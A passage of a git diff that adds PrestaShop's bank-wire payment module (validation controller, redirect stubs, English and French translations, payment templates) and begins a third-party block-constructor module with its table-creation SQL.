break; + } + if (!$authorized) + die($this->module->l('This payment method is not available.', 'validation')); + + $customer = new Customer($cart->id_customer); + if (!Validate::isLoadedObject($customer)) + Tools::redirect('index.php?controller=order&step=1'); + + $currency = $this->context->currency; + $total = (float)$cart->getOrderTotal(true, Cart::BOTH); + $mailVars = array( + '{bankwire_owner}' => Configuration::get('BANK_WIRE_OWNER'), + '{bankwire_details}' => nl2br(Configuration::get('BANK_WIRE_DETAILS')), + '{bankwire_address}' => nl2br(Configuration::get('BANK_WIRE_ADDRESS')) + ); + + $this->module->validateOrder($cart->id, Configuration::get('PS_OS_BANKWIRE'), $total, $this->module->displayName, NULL, $mailVars, (int)$currency->id, false, $customer->secure_key); + Tools::redirect('index.php?controller=order-confirmation&id_cart='.$cart->id.'&id_module='.$this->module->id.'&id_order='.$this->module->currentOrder.'&key='.$customer->secure_key); + } +} diff --git a/modules/bankwire/controllers/index.php b/modules/bankwire/controllers/index.php new file mode 100755 index 0000000..fd6bae0 --- /dev/null +++ b/modules/bankwire/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../'); +exit; \ No newline at end of file diff --git a/modules/bankwire/index.php b/modules/bankwire/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/bankwire/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/bankwire/logo.gif b/modules/bankwire/logo.gif new file mode 100755 index 0000000..2cd6cec Binary files /dev/null and b/modules/bankwire/logo.gif differ diff --git a/modules/bankwire/logo.png b/modules/bankwire/logo.png new file mode 100755 index 0000000..140d2d5 Binary files /dev/null and b/modules/bankwire/logo.png differ diff --git a/modules/bankwire/payment.php b/modules/bankwire/payment.php new file mode 100755 index 0000000..faca7ee --- /dev/null +++ b/modules/bankwire/payment.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0 This file is deprecated, use moduleFrontController instead + */ + +/* SSL Management */ +$useSSL = true; + +require('../../config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +// init front controller in order to use Tools::redirect +$controller = new FrontController(); +$controller->init(); + +Tools::redirect(Context::getContext()->link->getModuleLink('bankwire', 'payment')); \ No newline at end of file diff --git a/modules/bankwire/translations/en.php b/modules/bankwire/translations/en.php new file mode 100755 index 0000000..47dd29c --- /dev/null +++ b/modules/bankwire/translations/en.php @@ -0,0 +1,7 @@ +payment_return_63fb3f7c94ee5d8027bf599885de279d'] = 'Do not forget to insert your order number #%d in the subject of your bank wire.'; +$_MODULE['<{bankwire}prestashop>payment_eb1d50032721fa4c9d3518c417f91b9d'] = 'Pay by bank wire (order processing will take more time)'; diff --git a/modules/bankwire/translations/en2.php b/modules/bankwire/translations/en2.php new file mode 100755 index 0000000..b6290d4 --- /dev/null +++ b/modules/bankwire/translations/en2.php @@ -0,0 +1,7 @@ +payment_return_63fb3f7c94ee5d8027bf599885de279d'] = 'Do not forget to insert your order number #%d in the subject of your bank wire.'; +$_MODULE['<{bankwire}prestashop>payment_eb1d50032721fa4c9d3518c417f91b9d'] = 'Pay by bank wire (order processing will take more time)'; diff --git a/modules/bankwire/translations/fr.php b/modules/bankwire/translations/fr.php new file mode 100755 index 0000000..361b62a --- /dev/null +++ b/modules/bankwire/translations/fr.php @@ -0,0 +1,54 @@ +bankwire_85ee0d0492a4e37e6c183520f5d59c40'] = 'Virement Bancaire'; +$_MODULE['<{bankwire}prestashop>bankwire_65104b0722c068ec3e8ac48153af597b'] = 'Accepter les paiements par virement.'; +$_MODULE['<{bankwire}prestashop>bankwire_cbe0a99684b145e77f3e14174ac212e3'] = 'Êtes-vous certain de vouloir effacer vos données ?'; +$_MODULE['<{bankwire}prestashop>bankwire_0ea0227283d959415eda0cfa31d9f718'] = 'Le titulaire du compte et les informations bancaires doivent être configurés.'; +$_MODULE['<{bankwire}prestashop>bankwire_a02758d758e8bec77a33d7f392eb3f8a'] = 'Aucune devise disponible pour ce module'; +$_MODULE['<{bankwire}prestashop>bankwire_bfa43217dfe8261ee7cb040339085677'] = 'Les détails du compte sont requis'; +$_MODULE['<{bankwire}prestashop>bankwire_ccab155f173ac76f79eb192703f86b18'] = 'Le titulaire du compte est requis.'; +$_MODULE['<{bankwire}prestashop>bankwire_c888438d14855d7d96a2724ee9c306bd'] = 'Mise à jour réussie'; +$_MODULE['<{bankwire}prestashop>bankwire_c1be305030739396775edaca9813f77d'] = 'Ce module vous permet d\'accepter les paiements par virement bancaire.'; +$_MODULE['<{bankwire}prestashop>bankwire_c2886e6bed60f357b08b6e99ac390c25'] = 'Si le client choisit ce mode de paiement, la commande passera à l\'état \"Paiement en attente\".'; +$_MODULE['<{bankwire}prestashop>bankwire_f001fc4497defe598043407d06be06e5'] = 'Par conséquent, vous devez confirmer manuellement la commande dès que vous recevrez le virement.'; +$_MODULE['<{bankwire}prestashop>bankwire_5dd532f0a63d89c5af0243b74732f63c'] = 'Coordonnées'; +$_MODULE['<{bankwire}prestashop>bankwire_51634daae434ad5789f89024b20e4dac'] = 'Veuillez spécifier les détails du compte en banque pour les clients'; +$_MODULE['<{bankwire}prestashop>bankwire_857216dd1b374de9bf54068fcd78a8f3'] = 'Titulaire'; +$_MODULE['<{bankwire}prestashop>bankwire_3ec365dd533ddb7ef3d1c111186ce872'] = 'Détails'; +$_MODULE['<{bankwire}prestashop>bankwire_5fe24fbb39b58daacb7c7905ba6e3534'] = 'Comme le code banque, l\'IBAN ou encore le BIC'; +$_MODULE['<{bankwire}prestashop>bankwire_f9a1a1bb716cbae0503d351ea2af4b34'] = 'Adresse de la banque'; +$_MODULE['<{bankwire}prestashop>bankwire_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour'; +$_MODULE['<{bankwire}prestashop>validation_e2b7dec8fa4b498156dfee6e4c84b156'] = 'Cette méthode de paiement n\'est pas disponible.'; +$_MODULE['<{bankwire}prestashop>payment_execution_99227bacb2b4dfa29ce1701ac265a923'] = 'Paiement par virement bancaire'; +$_MODULE['<{bankwire}prestashop>payment_execution_f1d3b424cd68795ecaa552883759aceb'] = 'Récapitulatif de commande'; +$_MODULE['<{bankwire}prestashop>payment_execution_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{bankwire}prestashop>payment_execution_05adcee99142c1a60fb38bb1330bbbc1'] = 'virement bancaire'; +$_MODULE['<{bankwire}prestashop>payment_execution_afda466128ee0594745d9f8152699b74'] = 'Vous avez choisi de régler par virement bancaire.'; +$_MODULE['<{bankwire}prestashop>payment_execution_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un bref récapitulatif de votre commande :'; +$_MODULE['<{bankwire}prestashop>payment_execution_e2867a925cba382f1436d1834bb52a1c'] = 'Le montant total de votre commande s\'élève à'; +$_MODULE['<{bankwire}prestashop>payment_execution_1f87346a16cf80c372065de3c54c86d9'] = 'TTC'; +$_MODULE['<{bankwire}prestashop>payment_execution_b28be4c423d93e02081f4e79fe2434e8'] = 'Nous acceptons plusieurs devises pour votre virement.'; +$_MODULE['<{bankwire}prestashop>payment_execution_a7a08622ee5c8019b57354b99b7693b2'] = 'Merci de choisir parmi les suivantes :'; +$_MODULE['<{bankwire}prestashop>payment_execution_a854d894458d66d92cabf0411c499ef4'] = 'Nous acceptons la devise suivante pour votre paiement :'; +$_MODULE['<{bankwire}prestashop>payment_execution_3dd021316505c0204989f984246c6ff1'] = 'Nos coordonnées bancaires seront affichées sur la page suivante.'; +$_MODULE['<{bankwire}prestashop>payment_execution_93c1f9dffc8c38b2c108d449a9181d92'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{bankwire}prestashop>payment_execution_baa62374832554652160fe5a827b2741'] = 'Je confirme ma commande'; +$_MODULE['<{bankwire}prestashop>payment_execution_569fd05bdafa1712c4f6be5b153b8418'] = 'Autres moyens de paiement'; +$_MODULE['<{bankwire}prestashop>payment_return_88526efe38fd18179a127024aba8c1d7'] = 'Votre commande sur %s a bien été enregistrée.'; +$_MODULE['<{bankwire}prestashop>payment_return_1f8cdc30326f1f930b0c87b25fdac965'] = 'Veuillez nous envoyer un virement bancaire avec :'; +$_MODULE['<{bankwire}prestashop>payment_return_b2f40690858b404ed10e62bdf422c704'] = 'un montant de'; +$_MODULE['<{bankwire}prestashop>payment_return_5ca0b1b910f393ed1f9f6fa99e414255'] = 'à l\'ordre de'; +$_MODULE['<{bankwire}prestashop>payment_return_d717aa33e18263b8405ba00e94353cdc'] = 'suivant ces détails'; +$_MODULE['<{bankwire}prestashop>payment_return_984482eb9ff11e6310fef641d2268a2a'] = 'à cette banque'; +$_MODULE['<{bankwire}prestashop>payment_return_63fb3f7c94ee5d8027bf599885de279d'] = 'N\'oubliez pas d\'indiquer votre numéro de commande n°%d dans le sujet de votre virement.'; +$_MODULE['<{bankwire}prestashop>payment_return_1faa25b80a8d31e5ef25a78d3336606d'] = 'N\'oubliez pas d\'indiquer votre référence de commande %s dans le sujet de votre virement.'; +$_MODULE['<{bankwire}prestashop>payment_return_19c419a8a4f1cd621853376a930a2e24'] = 'Un e-mail contenant ces informations vous a été envoyé.'; +$_MODULE['<{bankwire}prestashop>payment_return_b9a1cae09e5754424e33764777cfcaa0'] = 'Votre commande sera expédiée dès réception de votre virement.'; +$_MODULE['<{bankwire}prestashop>payment_return_ca7e41a658753c87973936d7ce2429a8'] = 'Pour toute question ou information complémentaire, veuillez contacter notre'; +$_MODULE['<{bankwire}prestashop>payment_return_dfe239de8c0b2453a8e8f7657a191d5d'] = 'support client'; +$_MODULE['<{bankwire}prestashop>payment_return_d15feee53d81ea16269e54d4784fa123'] = 'Nous avons rencontré un problème avec votre commande. Merci de prendre contact avec notre support client'; +$_MODULE['<{bankwire}prestashop>payment_5e1695822fc5af98f6b749ea3cbc9b4c'] = 'Payer par virement bancaire'; +$_MODULE['<{bankwire}prestashop>payment_eb1d50032721fa4c9d3518c417f91b9d'] = 'Payer par virement bancaire (traitement plus long)'; diff --git a/modules/bankwire/translations/fr2.php b/modules/bankwire/translations/fr2.php new file mode 100755 index 0000000..7e9f732 --- /dev/null +++ b/modules/bankwire/translations/fr2.php @@ -0,0 +1,54 @@ +bankwire_85ee0d0492a4e37e6c183520f5d59c40'] = 'Virement bancaire'; +$_MODULE['<{bankwire}prestashop>bankwire_65104b0722c068ec3e8ac48153af597b'] = 'Accepter les paiements par virement.'; +$_MODULE['<{bankwire}prestashop>bankwire_cbe0a99684b145e77f3e14174ac212e3'] = 'Êtes-vous certain de vouloir effacer vos données ?'; +$_MODULE['<{bankwire}prestashop>bankwire_0ea0227283d959415eda0cfa31d9f718'] = 'Le titulaire du compte et les informations bancaires doivent être configurés.'; +$_MODULE['<{bankwire}prestashop>bankwire_a02758d758e8bec77a33d7f392eb3f8a'] = 'Aucune devise disponible pour ce module'; +$_MODULE['<{bankwire}prestashop>bankwire_bfa43217dfe8261ee7cb040339085677'] = 'Les détails du compte sont requis.'; +$_MODULE['<{bankwire}prestashop>bankwire_ccab155f173ac76f79eb192703f86b18'] = 'Le titulaire du compte est requis.'; +$_MODULE['<{bankwire}prestashop>bankwire_c888438d14855d7d96a2724ee9c306bd'] = 'Mise à jour réussie'; +$_MODULE['<{bankwire}prestashop>bankwire_c1be305030739396775edaca9813f77d'] = 'Ce module vous permet d\'accepter les paiements par virement bancaire.'; +$_MODULE['<{bankwire}prestashop>bankwire_c2886e6bed60f357b08b6e99ac390c25'] = 'Si le client choisit ce mode de paiement, la commande passera à l\'état \"Paiement en attente\".'; +$_MODULE['<{bankwire}prestashop>bankwire_f001fc4497defe598043407d06be06e5'] = 'Par conséquent, vous devez confirmer manuellement la commande dès que vous recevrez le virement.'; +$_MODULE['<{bankwire}prestashop>bankwire_5dd532f0a63d89c5af0243b74732f63c'] = 'Coordonnées'; +$_MODULE['<{bankwire}prestashop>bankwire_51634daae434ad5789f89024b20e4dac'] = 'Veuillez spécifier les détails du compte en banque pour les clients'; +$_MODULE['<{bankwire}prestashop>bankwire_857216dd1b374de9bf54068fcd78a8f3'] = 'Titulaire'; +$_MODULE['<{bankwire}prestashop>bankwire_3ec365dd533ddb7ef3d1c111186ce872'] = 'Détails'; +$_MODULE['<{bankwire}prestashop>bankwire_5fe24fbb39b58daacb7c7905ba6e3534'] = 'Comme le code banque, l\'IBAN ou encore le BIC'; +$_MODULE['<{bankwire}prestashop>bankwire_f9a1a1bb716cbae0503d351ea2af4b34'] = 'Adresse de la banque'; +$_MODULE['<{bankwire}prestashop>bankwire_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour'; +$_MODULE['<{bankwire}prestashop>validation_e2b7dec8fa4b498156dfee6e4c84b156'] = 'Cette méthode de paiement n\'est pas disponible.'; +$_MODULE['<{bankwire}prestashop>payment_execution_99227bacb2b4dfa29ce1701ac265a923'] = 'Paiement par virement bancaire'; +$_MODULE['<{bankwire}prestashop>payment_execution_f1d3b424cd68795ecaa552883759aceb'] = 'Récapitulatif de commande'; +$_MODULE['<{bankwire}prestashop>payment_execution_879f6b8877752685a966564d072f498f'] = 'Votre panier est vide.'; +$_MODULE['<{bankwire}prestashop>payment_execution_05adcee99142c1a60fb38bb1330bbbc1'] = 'virement bancaire'; +$_MODULE['<{bankwire}prestashop>payment_execution_afda466128ee0594745d9f8152699b74'] = 'Vous avez choisi de régler par virement bancaire.'; +$_MODULE['<{bankwire}prestashop>payment_execution_c884ed19483d45970c5bf23a681e2dd2'] = 'Voici un bref récapitulatif de votre commande :'; +$_MODULE['<{bankwire}prestashop>payment_execution_e2867a925cba382f1436d1834bb52a1c'] = 'Le montant total de votre commande s\'élève à'; +$_MODULE['<{bankwire}prestashop>payment_execution_1f87346a16cf80c372065de3c54c86d9'] = 'TTC'; +$_MODULE['<{bankwire}prestashop>payment_execution_b28be4c423d93e02081f4e79fe2434e8'] = 'Nous acceptons plusieurs devises pour votre virement.'; +$_MODULE['<{bankwire}prestashop>payment_execution_a7a08622ee5c8019b57354b99b7693b2'] = 'Merci de choisir parmi les suivantes :'; +$_MODULE['<{bankwire}prestashop>payment_execution_a854d894458d66d92cabf0411c499ef4'] = 'Nous acceptons la devise suivante pour votre paiement :'; +$_MODULE['<{bankwire}prestashop>payment_execution_3dd021316505c0204989f984246c6ff1'] = 'Nos coordonnées bancaires seront affichées sur la page suivante.'; +$_MODULE['<{bankwire}prestashop>payment_execution_93c1f9dffc8c38b2c108d449a9181d92'] = 'Veuillez confirmer votre commande en cliquant sur \"Je confirme ma commande\"'; +$_MODULE['<{bankwire}prestashop>payment_execution_baa62374832554652160fe5a827b2741'] = 'Je confirme ma commande'; +$_MODULE['<{bankwire}prestashop>payment_execution_569fd05bdafa1712c4f6be5b153b8418'] = 'Autres moyens de paiement'; +$_MODULE['<{bankwire}prestashop>payment_return_88526efe38fd18179a127024aba8c1d7'] = 'Votre commande sur %s a bien été enregistrée.'; +$_MODULE['<{bankwire}prestashop>payment_return_1f8cdc30326f1f930b0c87b25fdac965'] = 'Veuillez nous envoyer un virement bancaire avec :'; +$_MODULE['<{bankwire}prestashop>payment_return_b2f40690858b404ed10e62bdf422c704'] = 'un montant de'; +$_MODULE['<{bankwire}prestashop>payment_return_5ca0b1b910f393ed1f9f6fa99e414255'] = 'à l\'ordre de'; +$_MODULE['<{bankwire}prestashop>payment_return_d717aa33e18263b8405ba00e94353cdc'] = 'suivant ces détails'; +$_MODULE['<{bankwire}prestashop>payment_return_984482eb9ff11e6310fef641d2268a2a'] = 'à cette banque'; +$_MODULE['<{bankwire}prestashop>payment_return_63fb3f7c94ee5d8027bf599885de279d'] = 'N\'oubliez pas d\'indiquer votre numéro de commande n°%d dans le sujet de votre virement.'; +$_MODULE['<{bankwire}prestashop>payment_return_1faa25b80a8d31e5ef25a78d3336606d'] = 'N\'oubliez pas d\'indiquer votre référence de commande %s dans le sujet de votre virement.'; +$_MODULE['<{bankwire}prestashop>payment_return_19c419a8a4f1cd621853376a930a2e24'] = 'Un e-mail contenant ces informations vous a été envoyé.'; +$_MODULE['<{bankwire}prestashop>payment_return_b9a1cae09e5754424e33764777cfcaa0'] = 'Votre commande sera expédiée dès réception de votre virement.'; +$_MODULE['<{bankwire}prestashop>payment_return_ca7e41a658753c87973936d7ce2429a8'] = 'Pour toute question ou information complémentaire, veuillez contacter notre'; +$_MODULE['<{bankwire}prestashop>payment_return_dfe239de8c0b2453a8e8f7657a191d5d'] = 'support client'; +$_MODULE['<{bankwire}prestashop>payment_return_d15feee53d81ea16269e54d4784fa123'] = 'Nous avons rencontré un problème avec votre commande. Merci de prendre contact avec notre support client'; +$_MODULE['<{bankwire}prestashop>payment_5e1695822fc5af98f6b749ea3cbc9b4c'] = 'Payer par virement bancaire'; +$_MODULE['<{bankwire}prestashop>payment_eb1d50032721fa4c9d3518c417f91b9d'] = 'Payer par virement bancaire (traitement plus long)'; diff --git a/modules/bankwire/translations/index.php b/modules/bankwire/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/bankwire/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/bankwire/validation.php b/modules/bankwire/validation.php new file mode 100755 index 0000000..d4f4e65 --- /dev/null +++ b/modules/bankwire/validation.php @@ -0,0 +1,64 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0 This file is deprecated, use moduleFrontController instead + */ + +include(dirname(__FILE__).'/../../config/config.inc.php'); +include(dirname(__FILE__).'/../../header.php'); +include(dirname(__FILE__).'/bankwire.php'); + +$context = Context::getContext(); +$cart = $context->cart; +$bankwire = new BankWire(); + +if ($cart->id_customer == 0 OR $cart->id_address_delivery == 0 OR $cart->id_address_invoice == 0 OR !$bankwire->active) + Tools::redirect('index.php?controller=order&step=1'); + +// Check that this payment option is still available in case the customer changed his address just before the end of the checkout process +$authorized = false; +foreach (Module::getPaymentModules() as $module) + if ($module['name'] == 'bankwire') + { + $authorized = true; + break; + } +if (!$authorized) + die($bankwire->l('This payment method is not available.', 'validation')); + +$customer = new Customer((int)$cart->id_customer); + +if (!Validate::isLoadedObject($customer)) + Tools::redirect('index.php?controller=order&step=1'); + +$currency = $context->currency; +$total = (float)($cart->getOrderTotal(true, Cart::BOTH)); + +$bankwire->validateOrder($cart->id, Configuration::get('PS_OS_BANKWIRE'), $total, $bankwire->displayName, NULL, array(), (int)$currency->id, false, $customer->secure_key); + +$order = new Order($bankwire->currentOrder); +Tools::redirect('index.php?controller=order-confirmation&id_cart='.$cart->id.'&id_module='.$bankwire->id.'&id_order='.$bankwire->currentOrder.'&key='.$customer->secure_key); diff --git a/modules/bankwire/views/index.php b/modules/bankwire/views/index.php new file mode 100755 index 0000000..fd6bae0 --- /dev/null +++ b/modules/bankwire/views/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../'); +exit; \ No newline at end of file diff --git a/modules/bankwire/views/templates/front/index.php b/modules/bankwire/views/templates/front/index.php new file mode 100755 index 0000000..c7a1939 --- /dev/null +++ b/modules/bankwire/views/templates/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../'); +exit; \ No newline at end of file diff --git a/modules/bankwire/views/templates/front/payment_execution.tpl b/modules/bankwire/views/templates/front/payment_execution.tpl new file mode 100755 index 0000000..e756caf --- /dev/null +++ b/modules/bankwire/views/templates/front/payment_execution.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Bank-wire payment.' mod='bankwire'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +

    {l s='Order summary' mod='bankwire'}

    + +{assign var='current_step' value='payment'} +{include file="$tpl_dir./order-steps.tpl"} + +{if $nbProducts <= 0} +

    {l s='Your shopping cart is empty.' mod='bankwire'}

    +{else} + +

    {l s='Bank-wire payment.' mod='bankwire'}

    +
    +

    + {l s='Bank wire' mod='bankwire'} + {l s='You have chosen to pay by bank wire.' mod='bankwire'} +

    + {l s='Here is a short summary of your order:' mod='bankwire'} +

    +

    + - {l s='The total amount of your order is' mod='bankwire'} + {displayPrice price=$total} + {if $use_taxes == 1} + {l s='(tax incl.)' mod='bankwire'} + {/if} +

    +

    + - + {if $currencies|@count > 1} + {l s='We allow several currencies to be sent via bank wire.' mod='bankwire'} +

    + {l s='Choose one of the following:' mod='bankwire'} + + {else} + {l s='We allow the following currency to be sent via bank wire:' mod='bankwire'} {$currencies.0.name} + + {/if} +

    +

    + {l s='Bank wire account information will be displayed on the next page.' mod='bankwire'} +

    + {l s='Please confirm your order by clicking "Place my order."' mod='bankwire'}. +

    +

    + + {l s='Other payment methods' mod='bankwire'} +

    +
    +{/if} diff --git a/modules/bankwire/views/templates/hook/index.php b/modules/bankwire/views/templates/hook/index.php new file mode 100755 index 0000000..c7a1939 --- /dev/null +++ b/modules/bankwire/views/templates/hook/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../'); +exit; \ No newline at end of file diff --git a/modules/bankwire/views/templates/hook/payment.tpl b/modules/bankwire/views/templates/hook/payment.tpl new file mode 100755 index 0000000..547f2e5 --- /dev/null +++ b/modules/bankwire/views/templates/hook/payment.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + \ No newline at end of file diff --git a/modules/bankwire/views/templates/hook/payment_return.tpl b/modules/bankwire/views/templates/hook/payment_return.tpl new file mode 100755 index 0000000..bf89fe6 --- /dev/null +++ b/modules/bankwire/views/templates/hook/payment_return.tpl @@ -0,0 +1,87 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $status == 'ok'} +

    {l s='Your order on %s is complete.' sprintf=$shop_name mod='bankwire'} +

    + {l s='Please send us a bank wire with' mod='bankwire'} +

    - {l s='Amount' mod='bankwire'} {$total_to_pay} +

    - {l s='Name of account owner' mod='bankwire'} {if $bankwireOwner}{$bankwireOwner}{else}___________{/if} +

    - {l s='Include these details' mod='bankwire'} {if $bankwireDetails}{$bankwireDetails}{else}___________{/if} +

    - {l s='Bank name' mod='bankwire'} {if $bankwireAddress}{$bankwireAddress}{else}___________{/if} + {if !isset($reference)} +

    - {l s='Do not forget to insert your order number #%d in the subject of your bank wire' sprintf=$id_order mod='bankwire'} + {else} +

    - {l s='Do not forget to insert your order reference %s in the subject of your bank wire.' sprintf=$reference mod='bankwire'} + {/if}

    {l s='An email has been sent with this information.' mod='bankwire'} +

    {l s='Your order will be sent as soon as we receive payment.' mod='bankwire'} +

    {l s='If you have questions, comments or concerns, please contact our' mod='bankwire'} {l s='expert customer support team. ' mod='bankwire'}. +

    + + + + + + + + +{else} +

    + {l s='We noticed a problem with your order. If you think this is an error, feel free to contact our' mod='bankwire'} + {l s='expert customer support team. ' mod='bankwire'}. +

    +{/if} diff --git a/modules/bankwire/views/templates/index.php b/modules/bankwire/views/templates/index.php new file mode 100755 index 0000000..3f4b16e --- /dev/null +++ b/modules/bankwire/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../'); +exit; \ No newline at end of file diff --git a/modules/belvg_blockconstructor/belvg_blockconstructor.php b/modules/belvg_blockconstructor/belvg_blockconstructor.php new file mode 100755 index 0000000..11d19ff --- /dev/null +++ b/modules/belvg_blockconstructor/belvg_blockconstructor.php @@ -0,0 +1,154 @@ +name = 'belvg_blockconstructor'; + $this->tab = 'front_office_features'; + $this->version = '1.6.1'; + $this->author = 'BelVG'; + $this->need_instance = 0; + $this->module_key = 'ab9287f3944d7128cc80e8e194fef8dd'; + + parent::__construct(); + + $this->displayName = $this->l('Blocks Constructor (PS 1.6)'); + $this->description = $this->l('Blocks Constructor (PS 1.6)'); + } + + public function install() + { + $sql = array(); + + $sql[] = + 'CREATE TABLE IF NOT EXISTS `' . _DB_PREFIX_ . 'belvg_blockconstructor` ( + `id_belvg_blockconstructor` int(10) unsigned NOT NULL auto_increment, + `status` int(10) NOT NULL default "1", + `id_hook` varchar(255) NOT NULL, + `id_category` varchar(255) NOT NULL, + `date_from` date NOT NULL, + `date_to` date NOT NULL, + `date_add` datetime NOT NULL, + `date_upd` datetime NOT NULL, + PRIMARY KEY (`id_belvg_blockconstructor`) + ) ENGINE=' . _MYSQL_ENGINE_ . ' DEFAULT CHARSET=utf8'; + + $sql[] = + 'CREATE TABLE IF NOT EXISTS `' . _DB_PREFIX_ . 